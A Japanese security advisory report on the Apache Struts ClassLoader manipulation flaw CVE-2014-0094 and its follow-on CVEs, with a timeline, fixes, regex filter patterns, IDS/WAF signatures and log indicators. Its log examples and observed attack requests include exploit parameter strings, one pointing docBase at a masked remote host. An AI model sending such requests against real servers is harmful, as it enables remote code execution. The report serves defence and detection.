2014年3月2日、Apache Struts のバージョン 2.0.0 から 2.3.16 には、class パラメタを利用した ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094) が存在することから、対策版である Struts 2.3.16.1 がリリースされました。 インシデント情報活用フレームワーク検討 WGでは、日本シーサート協議会に加盟しているチームに協力を得て、インシデント発生を事前に予防する措置として、「Struts: ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094) 」に関する公開情報を調査し、本レポートにまとめました。
- 2014-04-25
- ・新規
class パラメタを利用した ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094) は、Struts の実装に起因する任意のコード実行、サービス運用妨害や情報漏えいを許してしまう脆弱性です。
Struts 2.3.16.1 で脆弱性 (CVE-2014-0094) を除去する修正がされましたが、対策が不十分のままであり、Struts 2.0.0 ~ 2.3.16.1 が影響を受けます。 Struts 1.x についても、影響があります。
この脆弱性を悪用された場合、条件によっては、Web サーバ上で、攻撃者の用意した任意のコードを実行されてしまう可能性があります。
なお、Struts 2 については、2014年4月25日、新たに見つかった脆弱性を含め、脆弱性 (CVE-2014-0094, CVE-2014-0112, CVE-2014-0113) を対策した Struts 2.3.16.2 がリリースされました。 また、2014年5月3日、新たに見つかった脆弱性を含め、脆弱性 (CVE-2014-0094, CVE-2014-0112, CVE-2014-0113, CVE-2014-0116 ) を対策した Struts 2.3.16.3 がリリースされました。
(1) (対策) バージョンアップあるいは、対策版を適用する。<Struts 1.x Struts 2.x>
ベンダ情報 を参考にして、 Web サイトのサーバ上で稼働する Struts プログラムを対策版に更新してください。
(2) (回避策) 不正な文字列の含むパラメタのリクエストを拒否するフィルタ機能を実装する。<Struts 1.x>
GET ならびに POST リクエスト (含む、mulitpart/form-data の POST) において、 次の正規表現に該当する文字列がパラメタとして指定された場合、これを拒否するフィルタ機能を実装することで影響を緩和できます。 なお、パラメタのパターンは、更新される可能性がありますので、留意してください。
(^|\W)[cC]lass\W
(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*
注:S2-021 で、パラメタのパターンを指示しています。
(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*
- Struts: S2-021: Improves excluded params in ParametersInterceptor and CookieInterceptor to avoid ClassLoader manipulation
注:ボックス内に (.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).* と記載されていますが、'は、HTML表記で ' となりますので、' の記述は誤りであると思われます。- Struts:24 April 2014 - Struts up to 2.3.16.1: Zero-Day Exploit Mitigation
Until the release is available, all Struts 2 users are strongly recommended to apply the following mitigation:
(3) IDS/IPS/WAF での検知遮断
- IBM/ISS Proventia
- Apache Struts ParametersInterceptor Security Bypass
- Apache Struts ParametersInterceptor security bypass (HTTP_Apache_Struts_Interceptor_Bypass)
- Apache Struts ParametersInterceptor でのセキュリティー・バイパス
- トレンドマイクロ
- Apache Struts 2 の脆弱性を狙う PoC を確認
サーバ向け総合セキュリティ対策製品「Trend Micro Deep Security (トレンドマイクロ ディープセキュリティ)」の仮想パッチで対応しているとしています。
1006015 - Restrict Apache Struts 'class.classLoader' Request
(4)(補助施策) ログファイルの調査
対策の補助施策として、利用を検討してください。
ログファイルに、
class.classLoader.resources.context.parent.pipeline.first.* (*はワイルドカード)
class.classLoader.resources.dirContext.docBase
の記録が残っている場合には、脆弱性 (CVE-2014-0094)を悪用したアクセスが発生した可能性があります。 なお、アクセスの妥当性(正常なアクセスかどうか)を確認する必要があります。[ClassLoader がパラメタとして指定されたときの記録の例]
Windows 版 Apache Tomcat 8.0.5 環境下で、logs\localhost_access_log.2014-04-XX.txt に記録されたものを紹介します。192.168.0.100 - - [24/Apr/2014:14:06:27 +0900]
"GET /example.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
HTTP/1.1" 200 444192.168.1.1 - - [24/Apr/2014:14:06:15 +0900]
"GET /example.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
HTTP/1.1" 200 444
<Struts 2.x>
+ CVE-2014-0094
ParametersInterceptor から ClassLoader の操作を許してしまう脆弱性
+ CVE-2014-0112
CVE-2014-0094 の修正漏れによる脆弱性
+ CVE-2014-0113
CookieInterceptor から ClassLoader の操作を許してしまう脆弱性
+ CVE-2014-0116
CVE-2014-0113 の修正不足による脆弱性
<Struts 1.x>
+ CVE-2014-0114
Struts 1.x における ClassLoader の操作を許してしまう脆弱性
2014年05月03日(米国時間)、セキュリティアドバイザリ S2-022 が発行され、Struts 2.3.16.3 がリリースされました。
CookieInterceptor の脆弱性 (CVE-2014-0113) 対策の修正不足に対して、CVE-2014-0116 (Extends excluded params in CookieInterceptor to avoid manipulation of Struts' internals) が割り当てられました。
Apache Struts project team から、HP Fortify team が提供する Struts 1 向けの回避策が紹介されました。
Apache Struts project team において、Struts バージョン 1.x にも ClassLoader の操作を許してしまう脆弱性の存在が確認されました。また、この脆弱性に対して、新たな脆弱性識別番号 (CVE-2014-0114) が割り当てられました。
4月26日、警察庁の定点観測システムにおいて、脆弱性を狙ったアクセスを観測していると報告しています。 脆弱性が存在するサーバを探索して、攻撃を試みている可能性を指摘しています。
図20140427. Apache Struts2 の脆弱性を狙ったアクセス検知件数 (04月25日00:00~04月27日08:59)
出典:警察庁
下記のようなアクセスのパターンで、「4/25から最近の話題の攻撃が観測されるようになりました。」と報告しています。yyy.yyy.yyy.yyy は、IPアドレスです。
GET /toplel.action?class[%27classLoader%27][%27resources%27][%27dirContext%27][%27docBase%27]=//yyy.yyy.yyy.yyy/toplel HTTP/1.0
ラックから、 「セキュリティ監視センター「JSOC」において、本日に入ってから今回の脆弱性を悪用した攻撃を6件検知しました。 これらの攻撃は、日本国外の2つのIPアドレスから行われました。」と報告 (2014年04月25日 18:00) がありました。
2014年04月25日(米国時間)、Struts 2.3.16.2 がリリースされました。
対策にあたっての告知が掲載され始めました。
Struts から、セキュリティアドバイザリ S2-021 が発行されました。
getClass の脆弱性 (CVE-2014-0094) 対策の修正漏れに対して、CVE-2014-0112 (Incomplete fix for ClassLoader manipulation via ParametersInterceptor) が割り当てられました。
また、CookieInterceptor を利用して、ClassLoader の操作を許してしまう脆弱性 CVE-2014-0113 (ClassLoader manipulation via CookieInterceptor when configured to accept all cookies) の存在が明らかとなりました。
Apache Struts 2 系の 2.3.16.1 に脆弱性 (CVE-2014-0094) 対策の漏れが存在すること、 同様の脆弱性 (CVE-2014-0094) が、Apache Struts 1 系にも存在することを注意喚起しています。
2013年上半期にサポートが終了した Struts 1.x も、脆弱性 (CVE-2014-0094) が存在することを明らかになりました。 ラックからの報告によれば、脆弱性を検証したバージョンは 1.1、1.2.9、1.3.10 (Apache Struts 1 シリーズ最終版) ですが、他のバージョンも影響するであろうことを指摘しています。
class パラメタ処理に起因する脆弱性 (CVE-2014-0094) を解決した Struts 2.3.16.1 でしたが、修正が不十分であると報告されました。 この報告を読み解くと、「パラメタ名 class はフィルタされているが、パラメタ名 Class はフィルタされない」としています。
情報セキュリティ早期警戒パートナーシップを通して、NTT-CERT から IPA に、Struts 2.3.16.1 の脆弱性 (CVE-2014-0094) 対策には修正漏れがあるという届出がされました。
公開されている脆弱性 (CVE-2014-0094) の検証コードを IPA で再現検証を実施した結果、Web アプリケーションの動作権限内で情報の窃取や特定ファイルの操作が可能であること、攻撃者が操作したファイルに Java コードが含まれている場合には、任意のコード実行を許してしまう可能性があることが報告されました。
いくつかのサイトで、
+ Tomcat 8 環境下で脆弱性 (CVE-2014-0094) を利用すると、class.classLoader.resources.context.parent.pipeline.first.* を操作し、任意のコード実行ができる
+ Tomcat 8 環境下で脆弱性 (CVE-2014-0094) を利用すると、class.classLoader.resources.dirContext.docBase を操作し、任意のコード実行ができる
の脆弱性の検証コード(2件)が投稿されました。
Apache Struts のバージョン 2.0.0 から 2.3.16 には、class パラメタ処理に起因する脆弱性 (CVE-2014-0094) が存在することから、対策版である Struts 2.3.16.1 がリリースされました。
Struts のバージョン 1 が EOL (End-Of-Life) 対象となることがプレスリリースとして発表されました。
![]() |
発行日:2014-04-25T08:14+09:00 更新日:2014-05-18T08:24+09:00 |